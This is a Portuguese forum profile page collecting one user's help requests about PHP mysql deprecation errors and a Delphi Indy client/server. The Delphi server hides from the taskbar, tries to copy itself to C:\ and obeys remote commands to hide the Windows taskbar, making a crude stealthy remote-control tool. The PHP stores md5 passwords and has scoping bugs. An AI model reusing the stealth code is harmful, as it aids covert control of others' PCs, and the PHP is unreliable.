bloodnick2015

Novembro 4, 2015

aplique esses exemplos ao seu código .. crie somente o evento OnExecute no Server e veja se não dá mais o erro
http://stackoverflow.com/questions/11573427/delphi-indy-clients-sends-server-request-how-to-wait-for-response
http://stackoverflow.com/questions/8415551/indy-tcp-client-server-with-the-client-acting-as-a-server
abraço

Eu não sei qual parte é o OnExecuteOnExecute.

Novembro 3, 2015

exemplos
https://www.google.com.br/search?q=tidtcpserver+onexecute+example&ie=utf-8&oe=utf-8&gws_rd=cr&ei=wfY4VrfVJMOawQTH-Z7ADQ
abraço

Não entendi. Pode me ajudar a montar o código? Se quiser coloco os arquivos que estou usando.

Novembro 3, 2015

Algum moderador pode apagar este tópico?

Novembro 3, 2015

Com relação ao Erro:
O TIdTCPServer requer um OnExecute ( manipulador de eventos a ser atribuído. )
O TIdCustomTCPServer não.
A única diferença entre os dois é que TIdTCPServer executa o evento OnExecute , e exige que ele seja atribuído antes do servidor poder ser ativado.
abraço

E como uso o OnExecute?

Novembro 2, 2015

Usa um editor.

Novembro 2, 2015

Sim.

parte php do cadastro_de_usuarios.php:

<?php require_once('../Connections/pixels_conexao.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  }

  $theValue = $mysqli->real_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "form1")) {
  $insertSQL = sprintf("INSERT INTO pixels_usuarios (usu_nome, usu_email, usu_senha) VALUES (%s, %s, md5(%s))",
                       GetSQLValueString($_POST['usu_nome'], "text"),
                       GetSQLValueString($_POST['usu_email'], "text"),
                       GetSQLValueString($_POST['usu_senha'], "text"));

  $mysqli->select_db($database_pixels_conexao);
  $Result1 = $mysqli->query($insertSQL) or die($mysqli->error());

  $insertGoTo = "sucesso.php";
  if (isset($_SERVER['QUERY_STRING'])) {
    $insertGoTo .= (strpos($insertGoTo, '?')) ? "&" : "?";
    $insertGoTo .= $_SERVER['QUERY_STRING'];
  }
  header(sprintf("Location: %s", $insertGoTo));
}
?>

Novembro 2, 2015

Experimenta antes assim:
Linha 10: $theValue = $mysqli->real_escape_string($theValue);
Linha 45: $mysqli->select_db($database_pixels_conexao);
Linha 46: $Result1 = $mysqli->query($insertSQL) or die($mysqli->error());

Aparece agora:

Novembro 2, 2015

Observação:

em

procedure TForm1.hidebarConnect(AContext: TIdContext);

e em

procedure TForm1.mensagemhidebarConnect(AContext: TIdContext);

Eu adicionei IOHandler, pois estava dando erro.

Novembro 1, 2015

Estou tentando criar um cliente/servidor, só que quando rodo o executável do servidor da um erro:

Lembrando que quando mudo o Active de false para true do IdTCPServer dá esse erro.

O código do servidor:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdCustomTCPServer, IdTCPServer, IdContext; 

type 
  TForm1 = class(TForm) 
    mensagem: TIdTCPServer; 
    hidebar: TIdTCPServer; 
    Memo1: TMemo; 
    Memo2: TMemo; 
    procedure mensagemConnect(AContext: TIdContext); 
    procedure Memo1Change(Sender: TObject); 
    procedure hidebarConnect(AContext: TIdContext); 
    procedure Memo2Change(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.FormCreate(Sender: TObject); 
type 
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; 
var 
Handle: THandle; 
RegisterServiceProcess: TRegisterServiceProcess; 
a : String; 
begin 
//*** Nao aparece na barra *********************************************** 
SetWindowLong(Application.Handle, GWL_EXSTYLE, 
GetWindowLong(Application.Handle, GWL_EXSTYLE) or 
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); 

a := Application.ExeName; 
If not FileExists('C:\') then 
  Begin 
    CopyFile(Pchar(a), Pchar('C:\'), False); 
  End; 

end; 

procedure TForm1.hidebarConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo2.Lines.Add(Readln) 
  end; 
  memo2.Text := ''; 
end; 

procedure TForm1.Memo1Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo1.Lines[0]; 
ShowMessage(a); 
end; 

procedure TForm1.Memo2Change(Sender: TObject); 
var 
a : string; 
begin 
a := memo2.Lines[0]; 
  if a = 'esconder' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE); 
  if a = 'mostrar' then 
  ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE); 
end; 

procedure TForm1.mensagemConnect(AContext: TIdContext); 
begin 
With AContext.Connection.IOHandler do 
  begin 
    Memo1.Lines.Add(Readln) 
  end; 
  memo1.Text := ''; 
end; 

end.

O código do cliente:

unit Unit1; 

interface 

uses 
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, 
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, 
  IdComponent, IdTCPConnection, IdTCPClient; 

type 
  TForm1 = class(TForm) 
    GroupBox1: TGroupBox; 
    GroupBox2: TGroupBox; 
    GroupBox3: TGroupBox; 
    IP: TEdit; 
    Edit1: TEdit; 
    Button1: TButton; 
    ComboBox1: TComboBox; 
    Button2: TButton; 
    mensagem: TIdTCPClient; 
    hidebar: TIdTCPClient; 
    procedure Button1Click(Sender: TObject); 
    procedure mensagemConnected(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure hidebarConnected(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 

var 
  Form1: TForm1; 

implementation 

{$R *.dfm} 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
mensagem.Host := IP.Text; 
mensagem.Connect; 
end; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
hidebar.Host := Edit1.Text; 
hidebar.Connect; 
end; 

procedure TForm1.hidebarConnected(Sender: TObject); 
begin 
With hidebar Do 
  Begin 
    WriteLn(Combobox1.Text); 
    Disconnect; 
  End; 
end; 

procedure TForm1.mensagemConnected(Sender: TObject); 
begin 
With mensagem Do 
  Begin 
    WriteLn(Edit1.Text); 
    Disconnect; 
  End; 
end; 

end.

Novembro 1, 2015

Então acho que é o Dreamweaver CS6, alguém que já usou ele para criar projeto em PHP com conexão pode confirmar se ele cria códigos obsoletos como a conexão?

Novembro 1, 2015

Olha acho que isso tudo é por causa do Dreamweaver CS6, pois eu mandei ele criar tudo isso em php.

O meu Dreamweaver CS6 é a versão: 12.0 Build 5808...

Novembro 1, 2015

Agora apareceu isso:

Novembro 1, 2015

Opa coloquei errado, é estas mensagens agora:

Mudei:

Linha 10: $theValue = function_exists("$mysqli->real_escape_string") ? $mysqli->real_escape_string($theValue) : $mysqli->escape_string($theValue);

Linha 45: $mysqli->select_db($database_x_conexao, $x_conexao);

Linha 46: $Result1 = $mysqli->query($insertSQL, $x_conexao) or die($mysqli->error());

Novembro 1, 2015

Agora isso:

Novembro 1, 2015

Agora quando mando cadastrar aparece:

Cara acho que esse erros é problema do editor, pois foi ele que criou praticamente tudo em php.

Linha 10: $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

Linha 45: mysql_select_db($database_x_conexao, $x_conexao);

Linha 46: $Result1 = mysql_query($insertSQL, $x_conexao) or die(mysql_error());

Novembro 1, 2015

Tens de substituir o texto da consulta de exemplo (variável $query) pela tua consulta.

Ms não quero que chame uma tabela na conexão, pois essa conexão é chamada para todas páginas do meu site.

Novembro 1, 2015

Não, tem a ver com o código PHP. O Dreamweaver é apenas o IDE (editor) que usas para escrever o código. Faz assim:

<?php
$hostname_x_conexao = "localhost";
$database_x_conexao = "x_bd";
$username_x_conexao = "root";
$password_x_conexao = "";
$x_conexao = new mysqli($hostname_x_conexao, $username_x_conexao, $password_x_conexao, $database_x_conexao);
$query = "SELECT * FROM `nome_tabela`";
$resultado = $x_conexao->query($query);
if (!$resultado)
{
    echo "Não existem dados para a consulta executada.";
}
else
{
    while ($row = $x_conexao->fetch_array(MYSQLI_ASSOC))
    {
        //acedes ao valor de cada campo da BD utilizando $row["nome_campo"]
    }
}

Ok, não aparece mais o erro com o arquivo conexão, mas aparece "Não existem dados para a consulta executada".

Novembro 1, 2015

Então mas tem haver com o Dreamweaver CS6, pois ele que criou a conexão?

Novembro 1, 2015

Como assim biblioteca mysql? Foi o Dreamweaver CS6 que criou a conexão em php.

Novembro 1, 2015

Estou usando o Dreamweaver CS6 e ele criou pra mim um arquivo de conexão com o banco de dados:

<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_x_conexao = "localhost";
$database_x_conexao = "x_bd";
$username_x_conexao = "root";
$password_x_conexao = "";
$x_conexao = mysql_pconnect($hostname_xs_conexao, $username_x_conexao, $password_x_conexao) or trigger_error(mysql_error(),E_USER_ERROR); 
?>

Só que quando rodo o site através do Wampserver na versão 5.5.12 do PHP dá uma mensagem de erro:

Como o Dreamweaver CS6 pode criar algo obsoleto?

Entrar

bloodnick2015

Total de itens

Registro em

Última visita

Tipo de Conteúdo

Perfis

Fóruns

Posts postados por bloodnick2015

Ajuda na criação de cliente/servidor

Ajuda na criação de cliente/servidor

...

Ajuda na criação de cliente/servidor

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Ajuda na criação de cliente/servidor

Ajuda na criação de cliente/servidor

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Erro requer mysqli ou PDO

Navegação

Atividades